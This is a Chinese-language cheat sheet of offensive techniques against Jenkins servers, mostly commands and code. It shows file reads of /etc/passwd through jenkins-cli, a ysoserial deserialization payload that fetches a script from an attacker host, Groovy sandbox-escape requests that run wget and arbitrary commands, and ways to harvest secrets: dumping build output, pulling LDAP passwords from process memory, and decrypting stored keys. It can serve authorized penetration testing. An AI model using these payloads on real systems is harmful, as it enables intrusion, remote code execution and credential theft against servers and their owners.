已认证时,可获取完整文件:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
未认证或缺少 Global/Read 权限时,只能读取 3 行: 读取第一行:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
读取第二行:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
读取第三行:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
使用 ysoserial 生成 payload。 然后使用此脚本进行 RCE:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
详细信息见此处。
如果 Jenkins 要求身份验证,但使用以下请求返回了有效数据,则说明其存在漏洞:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
具有 Overall/Read 和 Job/Configure 权限的替代 RCE 见此处。
使用 Groovy 检查 Jenkins 实例是否存在漏洞(需要 Overall/Read 权限):
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
注意:如果遇到 403 错误,提示缺少 crumb(即 Jenkins 的 CSRF 防护),你可以通过向 https://example.com/crumbIssuer/api/json 发送 GET 请求来获取 crumb 值。随后应将 crumb 值添加到 POST 请求的 Jenkins-Crumb 请求头中。
执行任意 bash 命令:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
如果没有立即获得反弹 shell,可以通过抛出异常来进行调试:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
此漏洞仅在用户于安全矩阵中拥有 'Jobs/Configure' 权限时才能利用,因此非常特殊。
请注意,只有在使用专用且过时的 Update Center 时,该漏洞才可利用。因此大多数服务器并不易受攻击。
使用此脚本转储构建控制台输出和构建环境变量,以期发现明文密钥。
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
使用此 Python 脚本或此 PowerShell 脚本。
解密 Jenkins 密钥需要以下文件:
这些密钥通常可以在以下位置找到:
以下是一个用于查找它们的正则表达式:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
如果 Jenkins 被配置为将用户凭据转发到 LDAP 进行验证(这种做法很愚蠢,但在企业中却是常见漏洞),则可以通过转储 Java 进程的内存来恢复这些明文用户凭据。 假设 Jenkins 服务器的 PID 为 7,以下循环将每 30 秒对堆栈执行一次内存转储:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
设置一个短暂延迟很重要,因为垃圾回收器会定期释放凭据结构。
使用此脚本解密之前转储的密钥。
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
可包含管道、重定向等内容的多行 shell 命令:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
使用此脚本实现自动化。
默认情况下,执行发生在主节点上。使用以下脚本在特定从节点上执行:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result